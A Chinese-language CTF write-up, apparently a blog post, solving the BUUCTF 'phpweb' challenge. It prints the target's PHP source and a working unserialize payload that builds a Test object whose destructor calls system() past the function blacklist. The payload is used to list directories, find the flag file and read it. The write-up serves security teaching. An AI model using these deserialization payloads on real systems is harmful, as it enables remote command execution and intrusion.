BUUCTF--[网鼎杯 2020 朱雀组]phpweb

流程

打开靶场,可以看到以下内容,并且这个页面隔几秒就要刷新一次

查看页面源代码,没有发现什么隐藏信息

我们用bp抓包看看

我们可以知道这个页面是由post方式传递核心参数,并且我们发现一个重要内容

func=date&p=Y-m-d h:i:s a

而这个就是他为什么隔几秒就要刷新的原因,也是我们唯一的可见功能

func=date :告诉后端调用 PHP 内置的 date() 函数

p=Y-m-d h:i:s a :传给 date() 函数的参数,定义了时间的输出格式

func:传递要执行的 PHP 函数名

p:传递给该函数的参数

后端核心逻辑:通过call_user_func($func, $p)执行用户传入的函数,这是漏洞的核心入口。

我们将包发到Repeater进一步测试

我们直接尝试func=system&p=ls

可以看到被拦截了,说明后端存在过滤我们要找一个未被禁用的、且能读取文件内容的函数

我们尝试file_get_contents读取 index.php 源码

func=file_get_contents&p=index.php

得到源码

php 复制代码
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

要点:

严格的黑名单过滤 :主逻辑中,用户传入的func会被转为小写,再匹配禁用函数列表,几乎所有直接的命令执行、代码执行、回调函数都被封禁,包括systemcall_user_func

危险的回调执行gettime函数中直接使用call_user_func($func, $p)执行函数,无任何过滤

反序列化利用入口Test类的__destruct()析构函数,会在对象销毁时自动调用gettime($this->func, $this->p),且这里的 func 参数不会经过主逻辑的黑名单过滤,这是本题的核心突破点

未被禁用的关键函数unserialize反序列化函数不在黑名单中,可作为触发析构函数的入口

反序列化漏洞利用

漏洞原理

当我们传入func=unserialize&p=Test类的序列化字符串时,后端会执行unserialize($p),生成一个 Test 类的对象。当该对象执行完毕被销毁时,会自动触发__destruct()析构函数,执行我们在对象中预设的$this->func$this->p,且该过程不会经过主逻辑的黑名单检测,从而执行被封禁的system等命令执行函数。

步骤 1:构造序列化 Payload

我们需要构造一个 Test 类的实例,给func赋值为systemp赋值为要执行的系统命令,然后生成序列化字符串。PHP 序列化生成代码:

php 复制代码
<?php
class Test {
    public $func = "system";
    public $p = "ls /";
}
echo serialize(new Test());
?>

结果:

php 复制代码
O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:4:"ls /";}

步骤 2:执行命令,查找 flag 路径

将序列化结果作为 p 参数的值,func 参数设为 unserialize,构造 POST 请求:

php 复制代码
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:19:"find / -name *flag*";}

可发现 flag 位于/tmp/flagoefiu4r93

步骤 3:读取 flag

修改命令为 cat 读取 flag 文件,最终 Payload:

php 复制代码
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}

执行后,Repeater会直接返回 flag 内容。

由此的到最终flag

相关推荐
兄弟加油,别颓废了。2 小时前
PHPstudy安装靶场
网络安全
一名优秀的码农2 小时前
vulhub系列-73-RA1NXing Bots(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
Y学院3 小时前
隐蔽防线,智护互联——网络安全隧道技术的核心价值与实践应用
web安全·网络安全
xixixi777773 小时前
Gartner 2026核心趋势:前置式主动安全(PCS)成为安全战略新范式,量子安全+国密算法构筑政企纵深防御底座
网络·人工智能·安全·web安全·ai·量子计算
wanhengidc3 小时前
服务器能干什么?
运维·服务器·网络·安全·web安全
一袋米扛几楼983 小时前
【密码学】公钥密码学 Public-Key Cryptography,为什么需要公钥密码?
网络安全
深邃-3 小时前
【Web安全】-Kali,Linux基础:Kali系统安装,Kali鼠标不显示(版本问题),Linux系统介绍(1)
linux·计算机网络·安全·web安全·网络安全·系统安全·网络攻击模型
深邃-4 小时前
【Web安全】-Kali,Linux基础:Linux终端介绍,Linux文件操作,Linux文件编辑(2)
linux·计算机网络·安全·web安全·网络安全·系统安全·安全威胁分析
2301_780789664 小时前
CDN加速与流量管理的最佳结合
网络·安全·web安全·架构·ddos